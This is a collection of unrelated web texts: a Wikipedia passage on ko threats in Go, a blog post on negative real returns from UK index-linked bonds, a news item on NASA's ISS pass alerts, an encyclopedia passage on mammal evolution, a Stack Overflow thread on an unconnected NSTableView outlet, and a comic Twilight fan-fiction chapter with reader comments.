The importance of a ko varies dramatically depending on the positions of the two players. Some kos offer very little gain for either player, such as three points or less. Others control the fate of large portions of the board, sometimes even the whole board, and the outcome of those kos can determine the winner of the game. For this reason, finding and using ko threats well is a very important skill.[2]
Ko threat strategy[edit]
(Copied from http://senseis.xmp.net/?KoThreat.)
Before the fight
• Count ko threats.
• In anticipation of an upcoming ko fight, consider creating potential ko threats.
• Or, by the same token, find ways to eliminate ko threats on the part of your opponent
(especially local ko threats (see an example of removing a local threat), and double ko threats, meaning they work as ko threats for both sides).
During the fight
• If you have one or more ko threats "big enough" (threatening enough damage), so that your opponent should answer them, play the smallest one.
• If you will win the ko at your next opportunity, and a new ko begins or threatens to come about while the ko threat situation remains the same, you will be glad you only played your smallest effective threat.
• Otherwise, play the biggest one you have.
If you will lose the ko, you want to get the most you can in exchange for it.
• Try to avoid ko threats which lose points—i.e. loss-making threats.
• Try to make ko threats which are moves you would have liked to play anyway.
• Your ko threat needs to be a real threat; otherwise, it's called mukou.
• You should give absolute priority to local ko threats, which threaten to resolve the local situation in your favor regardless of the outcome of the ko, and which your opponent therefore has to answer at the risk of making the ko meaningless.
Note: There may be exceptions to the above advice. Whether to play a ko threat, and if so, which one, can be very subtle questions. See ko threat playing order for more.
• In general, when considering moves take into account the ko threat implications. Favor situations which give you more ko threats and your opponent fewer.
Complex situations involving ko[edit]
One curiosity is the existence of multiple kos on the same board at the same time. A double ko is a situation when two kos are potentially being fought, simultaneously and affecting the same local position. Such positions are uncommon, but do sometimes arise in actual play, affecting life and death or connection issues. Two kos cannot actually form a large loop.
A triple ko is when three kos are being fought simultaneously. In this case a long loop, of period six plays, can occur, not being ruled out by the ko rule: it is possible for the two players to continually take and retake the three kos in a fixed cyclic order. If both players judge this to be the best line of play, then the game could, theoretically, continue forever. When there are three kos on the board, it does not follow that there will be a triple ko: as long as one player can concede two out of three and still be ahead, there is no reason for the loop to persist; and normally that is true. When such a position does occur, the game is called off and the opponents begin a new game. However, this only occurs with the so-called "basic ko rule" that one cannot recapture immediately.
There are other, stronger ko rules, the main class being superko, where repeating positions of any cycle length are impossible: see Rules of Go. Such events, however, are extremely uncommon and many go players may play their whole lives without restarting a game due to a triple ko.
Such rule issues, therefore, are more a matter of principle, although considerable attention has been devoted to them: see Sensei's Library's overview.
External links[edit] | <urn:uuid:a07467bc-7905-4a9d-ab00-1ad3b5443aa1> | http://en.wikipedia.org/wiki/Ko_fight | en | 0.942693 | 0.034582 | mlfoundations/dclm-baseline-1.0-parquet |
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Guaranteeing A Negative Return
By Paul Amery | 22 October, 2010 13:24 (GMT)
If you buy an index-linked (inflation-linked) UK government bond of up to eight years’ maturity and hold it to redemption you will guarantee a negative real (after inflation return).
Source: Barclays Capital
If you buy longer-dated linkers you will pick up a paltry 0.5% per annum real return, barely enough to cover the risk of buying default insurance on the issuer, the UK government. Plus, of course, you only receive that return if you hold the relevant bond to maturity. In the interim, you face potentially large losses if real yields rise towards their long-term average of 2-3%.
By any standards UK index-linked bonds (and their conventional equivalents, on which interest rates have just fallen to their lowest level for a generation) now earn the 1970s sobriquet.
The policy of financial repression that sub-inflation yields on government debt represent is a highly risky one. In penalising savers, governments also prevent the efficient allocation of capital and destabilise their own currencies, in turn threatening countermeasures from other governments, including possible capital controls.
It was quite amazing to witness US Treasury Secretary Geithner state this week that “no country can devalue its way to prosperity” while the US, mimicked by the UK, is seeking to achieve precisely this. Watch what they do, not what they say.
Economist Andrew Smithers today pointed out the addiction to bubbles that underlies current US policy. He also highlights elegantly the inherent contradiction that quantitative easing embodies. “The Federal Reserve is seeking to lower the value of bonds, by increasing inflation. Its method is to raise the price of bonds by purchases. As a difference between price and value is the definition of a bubble, it is clearly seeking to create another bubble and may have done so already,” Smithers notes.
Safe assets in the current environment are hard to identify. Bonds, either inflation-linked or fixed-rate, offer a likely negative return at current yields (barring a deflationary collapse). It’s easy to see why higher-yielding equities are going up, but does this asset class offer any long-term value either? Equities (taking the S&P 500 as a proxy) now yield 25% less than at the 1929, 1972 and 1987 market peaks, points out John Hussman. As for the renewed fad for emerging markets and many commodities, this now seems a pure momentum trade, vulnerable to reversal at any time.
A healthy cash weighting therefore seems appropriate at current elevated market levels, which are buoyed by investor faith in further government intervention, as well as in the success of the measures announced to date. It’s hard to imagine that there won’t be buying opportunities at much better levels over the coming year or two in pretty much every asset class.
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How to Get a Text Message Alert Whenever the ISS Passes Overhead
If you're a lazy astronomer, the kinda person who likes gazing into the night sky but never plans ahead, good news: NASA has launched a new service which will pop you a text message or email whenever the international space station is about to pass over your place, so you can dash outside and take a look.
The service, known as Spot the Station, lets you sign up for alerts to be sent when the ISS passes over one of 4,600 locations worldwide. The passing times are calculated by scientists at the Johnson Space Center so, you know, they're probably correct.
Once you've signed up, you'll get an SMS or email every time the ISS is nearby, telling you when it will be visible, from what direction it'll appear, and how long it'll linger in the night sky. Perfect. [Spot the Station via PhysOrg via Verge]
Image by NASA | <urn:uuid:29231274-58fd-4e41-99c9-ca3371c03f66> | http://gizmodo.com/5957672/how-to-get-a-text-message-alert-whenever-the-iss-passes-overhead?tag=astronomy | en | 0.945412 | 0.072038 | mlfoundations/dclm-baseline-1.0-parquet |
Evolution and classification
The evolution of the mammalian condition
Mammals were derived in the Triassic Period (about 251 million to 200 million years ago) from members of the reptilian order Therapsida. The therapsids, members of the subclass Synapsida (sometimes called the mammal-like reptiles), generally were unimpressive in relation to other reptiles of their time. Synapsids were present in the Carboniferous Period (about 359 million to 299 million years ago) and are one of the earliest-known reptilian groups. They were the dominant reptiles of the Permian Period (299 million to 251 million years ago), and, although they were primarily predaceous in habit, the adaptive radiation included herbivorous species as well. In the Mesozoic Era (251 million to 65.5 million years ago), the most important of the synapsids were the archosaurs, or “ruling reptiles,” and the therapsids were, in general, small active carnivores. Therapsids tended to evolve a specialized heterodont dentition and to improve the mechanics of locomotion by bringing the plane of action of the limbs close to the trunk. A secondary palate was developed, and the temporal musculature was expanded.
The several features that separate modern reptiles from modern mammals doubtless evolved at different rates. Many attributes of mammals are correlated with their highly active habit—for example, efficient double circulation with a completely four-chambered heart, anucleate and biconcave erythrocytes, the diaphragm, and the secondary palate (which separates passages for food and air and allows breathing during mastication or suckling). Hair for insulation is a correlate of endothermy, the physiological maintenance of individual temperature independent of environmental temperature. Endothermy allows high levels of sustained activity. The unique characteristics of mammals thus would seem to have evolved as a complex interrelated system.
Because the characteristics that separate reptiles and mammals evolved at different rates and in response to a variety of interrelated conditions, at any point in the period of transition from reptiles to mammals, there were forms that combined various characteristics of both groups. Such a pattern of evolution is termed mosaic and is a common phenomenon in those transitions marking the origin of major new adaptive types. To simplify definitions and to allow the strict delimitation of the Mammalia, some authors have suggested basing the boundary on a single characteristic, the articulation of the jaw between the dentary and squamosal bones and the attendant movement of accessory jawbones to the middle ear as auditory ossicles. The use of a single osteological character allows the placement in a logical classification of numerous fossil species, other mammalian characteristics of which, such as the degree of endothermy and nursing of young and the condition of the internal organs, probably never will be evaluated. It must be recognized, however, that were the advanced therapsids alive today, taxonomists would be hard put to decide which to place in the Reptilia and which in the Mammalia.
The higher classification of the class Mammalia is based on consideration of a broad array of characters. Traditionally, evidence from comparative anatomy was of predominant importance, but more recently information from such disciplines as physiology, serology, and genetics has proved useful in considering relationships. Comparative study of living organisms is supplemented by the findings of paleontology. Study of the fossil record adds a historical dimension to knowledge of mammalian relationships. In some cases—the horses, for example—the fossil record has been adequate to allow lineages to be traced in great detail.
Relative to that of other major vertebrate groups, the fossil record of mammals is good. Fossilization depends upon a great many factors, the most important of which are the structure of the organism, its habitat, and conditions at the time of death. The most common remains of mammals are teeth and the associated bones of the jaw and skull. Enamel covering the typical mammalian tooth is composed of prismatic rods of crystalline apatite and is the hardest tissue in the mammalian body. It is highly resistant to chemical and physical weathering. Because of the abundance of teeth in deposits of fossil mammals, dental characteristics have been stressed in the interpretation of mammalian phylogeny and relationships. Dental features are particularly well suited for this important role in classification because they reflect the broad radiation of mammalian feeding specializations from the primitive predaceous habit.
This classification is modified from McKenna and Bell (1997), the most recent comprehensive classification of higher categories of mammals; extinct groups are not listed.
Class Mammalia (mammals)Almost 5,000 species in 29 orders.Subclass Prototheria (monotremes, egg-laying mammals)5 species classified here in 2 orders, but monotremes have traditionally been classified together in a single order, Monotremata. Order Tachyglossa (echidnas)4 species in 1 family.Order Platypoda (platypus)1 species.Subclass Theria (live-bearing mammals)Metatheria (marsupials)Nearly 300 species in 7 orders.Superorder AustralidelphiaNearly 200 species.Order Diprotodontia (kangaroos, koalas, wombats, possums, and kin) 115 or more species in 10 families. Order Dasyuromorphia (carnivorous marsupials)About 60 species in 2 families, not including the recently extinct Tasmanian wolf, sole member of family Thylacinidae.Order Peramelemorphia (bandicoots and bilbies)22 species in 2 families.Order Notoryctemorphia (marsupial moles)2 species in 1 family.Order Microbiotheria (monito)1 species.Superorder AmeridelphiaAbout 80 species in 2 orders.Order Didelphimorphia (opossums)70 or more species in 1 family.Order Paucituberculata (shrew, or rat, opossums)5 species in 1 family.Eutheria (placental mammals)About 4,700 species in 20 orders.Order Rodentia (rodents)More than 2,050 species in 27 families.Order Chiroptera (bats)Nearly 1,000 species in 18 families.Grandorder Lipotyphla (insectivores) About 450 species in 3 orders.Order Soricomorpha (shrews, moles, and kin)About 370 species in 3 families. Moles (family Talpidae) are sometimes classified with hedgehogs in Erinaceomorpha.Order Afrosoricida (golden moles and tenrecs)47 species in 2 families.Order Erinaceomorpha (hedgehogs)21 species in 1 family.Order Primates (humans, apes, monkeys, lemurs, and kin)300 or more species in 16 families. Colugos are sometimes classified as a separate order, Dermoptera.Grandorder Ungulata (ungulates)About 300 species in 5 orders.Order Artiodactyla (even-toed hoofed ungulates)202 About 200 species in 10 families, including giraffes, camels, deer, cattle, pigs, sheep, goats, and kin.Order Cetacea (whales, dolphins, and porpoises)80 species in 10 families.Order Perissodactyla (odd-toed hoofed ungulates)15 species in 3 families, including horses, rhinoceroses, tapirs, and kin.UranotheriansThe following three ungulate orders (Sirenia, Proboscidea, and Hyracoidea) are sometimes grouped together as order Uranotheria, as they are more closely related to one another than to other ungulates. Order Hyracoidea (hyraxes)6 species in 1 family.Order Sirenia (manatees and dugongs)4 species in 2 families.Order Proboscidea (elephants)2 species in 1 family.Order Tubulidentata (aardvark)1 species.Order Carnivora (carnivores)About 270 species in 12 families.Order Lagomorpha (pikas and rabbits)87 species in 2 families.Magnorder Xenarthra (edentates, or xenarthrans)29 species in 2 orders.Order Cingulata (armadillos) 20 species in 1 family.Order Pilosa (anteaters and sloths)9 species in 4 families.Order Scandentia (tree shrews)17 species in 1 family.Order Macroscelidea (elephant shrews)15 species in 1 family.Order Pholidota (pangolins)7 species in 1 family. | <urn:uuid:4137af60-4925-43ba-b8b1-e8d5d125b14a> | http://media-2.web.britannica.com/eb-diffs/838/360838-38947-105972.html | en | 0.898026 | 0.110156 | mlfoundations/dclm-baseline-1.0-parquet |
The Cereal Generator
by Erik Schaumann
Everyone knows it keeps you up at night trying to decide what cereal you would be. Don't worry. It happens to everyone. Now you can sleep peacefully and restfully knowing what cereal you would be, thanks to me. If you want to give me money.... I'm not telling you where I live you friggin' sicko.
You are:
Please enter your name:
| <urn:uuid:bf458e46-f61e-4bfc-af9f-8abb54639258> | http://rumandmonkey.com/widgets/toys/namegen/4394/ | en | 0.935912 | 0.412842 | mlfoundations/dclm-baseline-1.0-parquet |
Take the 2-minute tour ×
I'm quite new to Cocoa and I am trying to setup a table view backed by an array. I've setup the app delegate as the datasource for the tableview, and implemented NSTableViewDataSource protocol.
When I run the app, I get the following log output:
2012-06-23 18:25:17.312 HelloWorldDesktop[315:903] to do list is nil
2012-06-23 18:25:17.314 HelloWorldDesktop[315:903] Number of rows is 0
2012-06-23 18:25:17.427 HelloWorldDesktop[315:903] App did finish launching
I thought that when I called reloadData on the tableView it would call numberOfRowsInTableView:(NSTableView *)tableView again to refresh the view, but that doesn't seem to be happening. What have I missed?
My .h and .m listings are below.
#import <Cocoa/Cocoa.h>
@interface AppDelegate : NSObject <NSApplicationDelegate, NSTableViewDataSource>
@property (assign) IBOutlet NSWindow *window;
@property (assign) IBOutlet NSTableView * toDoListTableView;
@property (assign) NSArray * toDoList;
#import "AppDelegate.h"
@implementation AppDelegate
@synthesize window = _window;
@synthesize toDoList;
@synthesize toDoListTableView;
- (void)dealloc
[self.toDoList dealloc];
[super dealloc];
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
NSLog(@"App did finish launching");
// Insert code here to initialize your application
// toDoList = [[NSMutableArray alloc] init];
toDoList = [[NSMutableArray alloc] initWithObjects:@"item 1", @"item 2", nil];
[self.toDoListTableView reloadData];
// NSLog(@"table view %@", self.toDoListTableView);
//check toDoList initialised before we try and return the size
- (NSInteger) numberOfRowsInTableView:(NSTableView *)tableView {
NSInteger count = 0;
count = [toDoList count];
} else{
NSLog(@"to do list is nil");
NSLog(@"Number of rows is %ld", count);
return count;
NSLog(@"in objectValueForTable");
id returnVal = nil;
NSString * colId = [tableColumn identifier];
NSString * item = [self.toDoList objectAtIndex:row];
if([colId isEqualToString:@"toDoCol"]){
returnVal = item;
return returnVal;
share|improve this question
2 Answers 2
up vote 1 down vote accepted
The first thing that I'd check is that you're NSTableView IBOutlet is still set in applicationDidFinishLaunching.
NSLog(@"self.toDoListTableView: %@", self.toDoListTableView)
You should see output like:
<NSTableView: 0x178941a60>
if the outlet is set properly.
If you see 'nil' rather than an object, double check to ensure that your NSTableView is connected to your outlet in the XIB editing mode of Xcode. Here's a documentation link for assistance connecting outlets.
share|improve this answer
OK I've added the log for the outlet in applicaitonDidFinishLaunching and it's nil by that point which explains why I don't see any data. But why would it be nil? – ssloan Jun 23 '12 at 18:05
On closer inspection self.toDoListTableView is always nil, even in the numberOfRowsInTableView method when that is called at the start. I guess it's not wired up as an outlet correctly? – ssloan Jun 23 '12 at 18:07
I think it's because you've set the IBOutlet to assign and not weak or unsafe_unretained. – Jeff Hellman Jun 23 '12 at 18:07
unsafe_unretained doesn't make any difference, and when I try weak I get this error: error: @synthesize of 'weak' property is only allowed in ARC or GC mode [3] – ssloan Jun 23 '12 at 18:09
Ok- now I see that you're not using ARC at all. Why not? – Jeff Hellman Jun 23 '12 at 18:12
I fixed it - I'd set the appDelegate as the datasource and the delegate for the tableView but ctrl-dragging from the tableView to the appDelegate, but I hadn't ctrl-dragged the other way to actually link up the outlet I'd declared with the table view. It's working now. Thanks for your help though Jeff.
share|improve this answer
Your Answer
| <urn:uuid:41354e30-38d8-40b9-bce2-3727304eecd3> | http://stackoverflow.com/questions/11171547/initialising-an-nstableview/11171644 | en | 0.7568 | 0.384893 | mlfoundations/dclm-baseline-1.0-parquet |
36.Throw In A Dash Of 'The Full Monty'
Edward's POV
Ow, ow, ow ,ow ,ow, ow
All I could remember seeing was his scabbed fist coming at me at full force. Better start counting my teeth quickly, cause in a second their not going to be there anymore. Closing my eyes, flinching a little, I tried to prepare myself for the blow...but it never came. Huh? That can't be right. Am I dreaming? I should be lying flat on my back right about now. My teeth that far down my throat that I'd have to stick a toothbrush up my ass just to clean them. Weird. Opening one eye, I looked over at the trucker who I'm going to be calling Shrek from now on. I was expecting to see his fist just millimeters from my face, but instead I found him pressed up against the side of his truck in fear, Bella holding onto the front of his grubby shirt while standing on her tiptoes to look him in the eyes. Oh this should be fun to watch.
All the fear vanished, quickly being replaced by amusment. Smiling, I crossed my arms over my chest, excited at what could happen. Ooh...he's gonna get it! He's gonna get and he doesn't even know it yet! Ha ha! That will teach him to mess with me! I'll get my girlfriend onto him...wait...that just sounded totally gay didn't it?
"What the hell is your problem!?" Bella cried, Shrek backing up even more into the side of the truck "You don't just punch people! What's the matter with you!?"
It took every ounce of me not to laugh, but the fear that flashed through the man's eyes at the sight of my little innocent Bella was priceless. Ha! Pregnant woman 1, Scary potential serial killer, 0! Aw, who the hell cares if a girl is fighting my battles for me!? She's doing a great job!
"Uh...uh..." He stuttered, trying hard to form a coherent sentence without losing his balls.
"Uh...uh..." Bella mimicked "You were just supposed to take the damn candy and leave! It's not thathard to figure out! Punching people equels pain!"
"But I didn't punch him!" He finally cried, defending himself as sweat covered his brow "I wasn't gonna hurt him...much...I jus' wanted to get my point across about your car!"
"By throwing yourself at it!" Bella cried, her grip on Shrek's shirt becoming visibly tighter.
"Ooh...You're gonna get it..." I said in a sing song voice, my inner thoughts finally surfacing.
"I mean, were you dropped on your head repeatedly as a child !?" Bella carried on.
"On your head man." I chimed in once more, starting to sound like I was preaching.
"For the love of all things that are holy!" She bellowed.
"Amen." I added, a hand to my chest.
"Edward!" Bella finally snapped, turning to face me "Shut up!"
Turning her attention back to the should-be-biker, Bella glared at him. Is it bad that I'm extremely turned on by her right now?
"Now..." She began, releasing her death grip on the mans shirt, crossing her arms over her chest "You have until the count of three to get out of here before I take that walkie talkie you've got there in your truck, and shove it that far down your throat you'll be talking out your ass...literately...One..."
Well, he didn't need to be told twice, because the second that 'one' left Bella's mouth, he was probably already half way to Canada! Man, I seriously have the best girl in this world. I just can't believe that she caused a guy, who looks like he has a licence to kill, nearly pee himself. Now that is a story for the kid! Screw me killing my Grandma, this just takes the cake!
Letting out a sigh of relief, Bella turned to me, only to run straight into my arms and kiss every inch of my face. Wow, and I thought it couldn't get any better! I laughed a little as she attacked me, getting a kiss in here and there before she pulled away and looked at me in horror, her hands still tugging at my hair as if she was frightened to let go.
"Oh my gosh, I am so sorry Edward." She bawled, guilt and panic in her eyes "Never, never listen to me again. OK? All I do is end up nearly getting you killed. I am so sorry. Please forgive me. Ugh! If only the lights hadn't been red, we could have drove away and none of this would have happened...actually, none of this would have happened if my old friend hadn't of given us the General in the first place! Stupid Jake. I hope he's missing that pony tail of his!"
All I could do was laugh, running my hands through her hair before cupping her cheeks, forcing her to look up at me. I knew she was over reacting a little, but hey, with all the attention that I'm getting right now I really don't care.
"Bells." I began, looking into her eyes "Shut up."
Smiling a little, Bella gave a little sigh before wrapping her arms around my neck, pressing her forehead against my own. Closing her perfect brown eyes, she kissed me.
"I love you." I said, kissing her forehead.
"I love you too."
Bella's POV
Ok, so maybe that wasn't the most...intellectual thing I have ever done in my life. Usually it's Edward who is putting his own life at risk. Now it looks like I'm doing it for him! Stupid, stupid Bella. Why do I never think these things through!? That guy could have killed him in one punch! But I think I got through to him in the end. After standing in the middle of the road holding onto Edward for dear life, we finally made our way back to the General, people behind honking us to move our a****. But I couldn't find the time to be mad at them, because now my excitment was back! We're finding out the sex of the baby!
We were in the car no more than two seconds before I got a text message from Alice. I wonder what's wrong.
Bells! Get home Now!
A xXx
Panic began to over take me. Emergency! What type of emergency! Oh no...Don't tell me Emmett super glued his hands to the floor again! How many times to I have to tell them to keep that stuff out of his way!? Looking over my shoulder at the text, and as if reading my mind, Edward quickly turned the car around and headed straight back to the house. All sorts of things were flying through my head. What if it wasn't something as stupid as Emmett and super glue? What if it was serious? Hard to believe that anything in my life nowadays could be classified as 'serious' mind you, but something had to be wrong. I hadn't realised how fast we had been driving until we pulled into our street. What if Charlie was sick? What if the guys had some important news? What if...Alice had just dug herself an early grave for what she's just done!?
The car came to a stop outside Edward's house, and I could quickly feel the anger bubbling up inside of me. Oh she's going to pay. She is so going to pay. Getting out the car, I slammed the door shut, only to be greeted by a few...dozen people standing in the Cullen's garden, balloons, tables...basically everything in the way of me chocking the pixie to death.
"Mary Alice Brandon!" I cried "You made me miss my scan for a party!?"
"Not a party Bella!" She cried happily "Surprise! We threw you a baby shower!"
Don't kill your friend. Do not kill your friend.
"But my scan!" I cried
"Is tomorrow." She giggled "I switched your dates around...Hey, we had to get you out of the house some way or another. Thanks for helping out Edward."
"No problem." My boyfriend smiled.
He was in on this!? My boyfriend! The love of my life! Father of my child! He helped plan this little shindig...and he did it without blabbing the whole thing!? Either he was getting a lot better at keeping his secrets, or Rose and Alice had threatened him with a makeover and chest wax. Ugh, I should have just let trucker boy punch him! Right now I'm tempted to do it myself. Crossing my arms over my chest, I glanced around suddenly feeling very self conscious at the amount of eyes that were staring back at me. Nearly every girl from school was there. Jessica, Lauren, Angela...even Tanya! Who I must add is keeping a safe distance.
"Are you mad?" Edward asked, wrapping an arm around my waist and pulling me to his side.
"No." I replied, giving him a small smile "...But there better be cake."
Damn right. If I'm going to be subjected to this, there better be a double chocolate chip something with my name written on it somewhere.
Edward's POV
Well, right now I'm either the best boyfriend in the world or the most stupid...not that people don't already think that about me. I bet I had you all fooled though. What with my over excitedness about seeing the baby. I guess in a way that makes me a bad father. I'm already using my kid as a cover up. The only thing about our little trip to see the 'scan' was that our encounter with Shrek wasn't part of the plan. But we survived all the same. However, after everyone's cleared out of here and Bella's got her hands on me I might not be so lucky. Just look for the big mound of dirt in the back yard with a straw sticking out of it, Bella covering the end with her finger. I'll be under that big mound of dirt attempting to breathe through the straw.
I watched with a smile as Bella soon became surrounded by people. She looked around nervously, mouthing the words help me as Rosalie took hold of her hand and pulled her into the house, which I assume was filled with balloons, food, presents...everything. Hmm...I'm starting to wonder if I should have told my Dad about this first. I mean, since my Mom has been out of town, he's been coming up with really strange punishments. For instance, last night at dinner I swore because I burned my tongue on a steaming carrot and instead of telling me off he took my dinner away and sat a bar of soap in front of me. If it was my Mom all she would have done is give me a smack up the back of the head, but noooo my Dad had to go the extra frickin' mile. I nearly inhaled that carrot when he put that down in front of me. I miss my Mommy.
I was about to make my way into the house and hide out in my room, but was stopped by Emmett and Jasper running up to me with panic in their eyes. Huh, I didn't know they were here.
"Dude!" Emmett cried, pushing me further away from the house "Run!"
"Why does everything these day's start with 'Dude, run!'?" I asked "Why can't it be 'hey' or 'what's up'?"
"No seriously." Jasper chimed in "You're gonna want to start moving round about now, because Alice got an amazing idea and it involves us!"
"Yep, you're right." I replied, grabbing both their shirts "Let's go."
We ran towards the General, for once the orange abomination becoming a form of refuge in my eyes, but of course just as we were about to jump into the car and follow the scary trucker in his actions a bolt it to Canada, we were stopped by non other than the pixie devil herself.
"Oh boys!" She called from the doorway in a sing song voice "Can you come here for a moment. We need your help with something."
Don't fall for it Edward. She doesn't need your help. She's using her small innocent like features to rope you into doing whatever she wants! Whatever you do, don't turn round.
"Please..." She called.
No! Not the 'P' word! I cave into anyone's wishes when they use that word. Ugh, the guys are going to hate me for this. It's going to be them covering the end of that straw while I'm under the mound of dirt.
"Yeah, Alice?" I replied, turning round while Emmett sighed and Jasper pretended to blow his brains out.
Squealing a little, Alice ran towards us. I turned briefly to apologize to Emmett and Jasper, but all I got in return was a death glare from them both.
"You and I will be having words later." Emmett stated as Alice approached.
"Honey!" Jasper faked enthusiasm "A-Aren't you supposed to be in at the party. I mean, you are the hostess. You should be in there. Why aren't you in there!?"
"I need a favor." She smiled, hugging into Jasper's side "We are kinda lacking entertainment inside. I mean, we have music playing, but nothing special, so...I was hoping that maybe you guys would come up with something to keep everyone happy. A dance or a song maybe?"
"Alice..." I began "Do we look like we're dressed in a big purple dinosaur suit?"
"Ooh, do you have one of those!?" She asked, full of excitement.
"Get that idea out of your head right now!" I exclaimed, pointing at her "We will help you out...within reason."
She squealed again, causing us to wince in pain a little. Seriously. It's so high pitched a dog across the street started barking...I hate dogs.
"Thank you, thank you, thank you!" She cried as she hugged each of us "Just make it funny and sexy. You can't go wrong with that. There's a house full of girls in there and they need some panty dropping stuff."
"I can't believe you just said that at my girlfriends baby shower." I muttered.
With a smile and roll of the eyes, Alice pecked Jasper on the cheek and bounced happily back inside.
"Thanks a lot man!" Jasper bellowed, running a hand over his face.
"Yeah!" Emmett followed "Sexy and funny!? We're comedians, not magicians!"
"Now calm down..." I shouted "I have an idea."
"There's something we haven't heard before." Jasper muttered "What is it this time? You're going to get us out of this by setting the house on fire? Hire a male stripper that will turn out to be a gigolo? Fake a heart attack?"
"No!" I scoffed "This time it's a real plan."
"And what exactly is your plan?" Jasper asked.
"Let's go 'Freshman Year Talent Show' on their ass!" I smiled "Throw in a dash of 'The Full Monty' and Boom! You have funny and sexy."
They were silent for a while, Emmett finally cracking a smile.
"It does sound like a good plan." He smirked
"And no one can actually get hurt." Jasper smirked "...Fine, we'll do it."
"Alright boys." I smirked as we headed for the house "Let's give them this panty dropping show."
Bella's POV
Mingle...That's what Rose said. Mingle...Ugh, why is mingling so damn difficult!? I swear I only knew a handful of these people who were cooing over my bump and showing me how to work various baby gadgets, some of which I had earlier mistaken for sex toys, Edward was missing and Alice was walking around the joint with a smile that made me wonder if she had fallen asleep with a hanger in her mouth. Ugh, this can't be good. Why do I always panic in situations like these? Just as the little pixie was passing me, I grabbed her arm.
"Alice, where's Edward?" I asked, looking round the room to see if I could see him standing in a corner as the girls shamelessly flirted with him.
He was probably upstairs with Emmett and Jasper watching Jeff Dunham while trying to do bad impressions of Achmed. Oh, please dear boyfriend, come and save me from this hell! All I wanted round about now was for him to throw everyone out, and lead me upstairs where we could hide inn his room for the next 5 months.
"Oh, he's around." She smirked "In fact, you might just see him in a few minutes. Take a seat and I'll see what I can do."
Confused as I was, I did what Alice said and sat down. I still hadn't quite forgiven her for switching my dates, and my feet were killing me. Ugh. Listen to me, I'm starting to sound like a 90 year old. Sighing and sitting back on the couch, I was quickly joined by Rose, Angela and Jessica, the others gathering around with a smile as the looked at Alice who was now standing in front of the large arch way that led to the joined on dinning room, a large smile plastering her face as she bounced on the spot, her eyes sparkling with excitement.
"Ladies!" My pixie friend announced "I just want to thank you all for coming along today, and for all the lovely gifts that you all gave Bella, Edward and the baby. You guys have been awesome...so, as a little thank you for all your support and for coming along, I have arranged a little entertainment that I think...some of you may appreciate."
Oh no, this can't be good.
"So sit back, relax and enjoy the show."
There was a few claps as Alice took a seat in between Rose and I, giving me a little wink.
"Oh please tell me this doesn't involve my boyfriend." I whined, frightened for the answer.
"Shh..." She simply replied "Watch the show Bella."
I turned my attention to where Alice had been standing mere seconds ago, nothing really special happening. What the hell was going on?
"Alice..." I began, but was cut off when music began to fill the room.
The second the familiar song reached my ears, I couldn't help but blush and smile a little, holding back my laugh as I exchanged a knowing glance with Rose and Alice, who's reactions were similar to my own. Remind me to kiss Edward later for this. We sat clapping our hands to the intro of YMCA, giggling a little when we watched the guys peek round the corner of the arch way, winking while clicking their fingers. Ok, I take back what I said earlier. This is going to be frickin' hilarious.
Young man, there's no need to feel down.
I said, young man, pick yourself off the ground.
There's no need to be unhappy.
As the song started, all three of them jumped out from behind the wall, bobbing their heads as they shook their hips, their right arms outstretched. I couldn't help the squeal that escaped from my lips at the sight of them. Jasper was wearing the Indian costume that I remembered from the talent show, lipstick for war paint. Emmett was wearing a rather tight fitting police costume, also a pleasant memory from the show...But Edward. Oh my gosh. If I wasn't pregnant in a room full of other people, I wouldn't have thought twice before jumping his bones. Talk about sex on legs. He had filled out a little bit since the talent show, making his toned abs even more delightful to ogle. Edward dressed in nothing but a firefighters pants and open jacket. Ugh! It's like I had died and gone to heaven!
Young man, there's a place you can go.
You can stay there, and I'm sure you will find
Many ways to have a good time.
And just when I thought it couldn't get any better I was proven wrong. Because the next thing I knew, Edward was shrugging off that damn jacket, throwing it in my direction as all the girls let out a squeal of delight. I couldn't help but blush even more when he winked at me as Emmett and Jasper followed his lead, stripping themselves of their own jackets while throwing them at Rose and Alice.
"You know I love you right?" I said, turning to face Alice who was swinging Jasper's coat in the air "But isn't this a little...too sexy for a baby shower?".
All she did was giggle a little
"Call this part an early bachelorette party." She replied.
"I'm not engaged." I smirked.
Rolling my eyes and chuckling a little, I turned back to face the boys. Was it getting hot in here or was it just me? There they were, dancing in front of us girls shirtless, their pants resting dangerously low on their hips. Oh please take them off...please take them off...
It's fun to stay at the Y-MC-A
Oh there is a God! The next thing I knew the pants were being torn off, leaving all three boys in very tight sexy underware. You'd think that I'd be annoyed that other girls were currently in the room watching my boyfriends junk closely, but I was too engrossed in watching it myself to care! We all cheered as they began to do the famous YMCA actions above their heads, all us girls joining in. Three hot guys dancing in their underware in the middle of the living room...you couldn't get much better than this!
Edward's POV
Ok, so maybe this little plan of Alice's hadn't been such a horrible idea in the first place. It was actually quite fun. YMCA with a strip tease...Maybe skip telling the kid this story. We continued to show off our 'sexy' moves, all the girls screaming at us as we shook our hips some more. Turning side on, I placed my hands on Emmett's hips, Jasper doing the same to me as we shook some more. Now, anyone walking in would probably mistake us for being three gay boys out for some fun, but we were having such a good time we didn't even care. Just as the chorus was about to start again, we slapped our a****, resulting in even more screams of delight...but the smile that I had been sporting quickly faded when I heard the voice that I was least expecting.
Snapping round, my eyes widened more.
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LMAO! this is one of the funniest things i have ever read! keep writing!!!
haha this was such a funny chapter
cant wait for the next part babes
laughing my f***** ass off that is f***** funni plz right more i am rolling all over the damn floor
This is HILARIOUS!!!! Well done for making this, it is sooooo funny I couldnt stop laughing hahaha, This part is one of the greatest but Edward is so in for it, Emse will ground his pretty ass for about 500 years!!!! haha love it keep up the good work!!!!:-D
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Interview Questions for an Assistant Project Manager
by Shelagh Dillon, Demand Media
Regardless of their field of expertise, assistant project managers need to be highly organized, focused and able to work well with others. And, they must possess complex technical skills. The successful candidate will be working in a pressurized environment, so asking an applicant challenging questions will help you to assess how well he copes under pressure.
Previous Experience
Most candidates for assistant project manager roles have already had a great deal of experience working on projects at different levels. Start the interview with: “Tell me about a complex project you managed from start to finish” to get the candidate relaxed and talking freely. He will reveal a lot in that first answer which you will go into later in the interview. Look for examples of successful delivery while keeping everything on time, within budget and to specifications. However, a project rarely goes exactly to plan, so finding out about times when things did not go so well and how he coped, adapted and learned are equally important.
Leadership and Communication
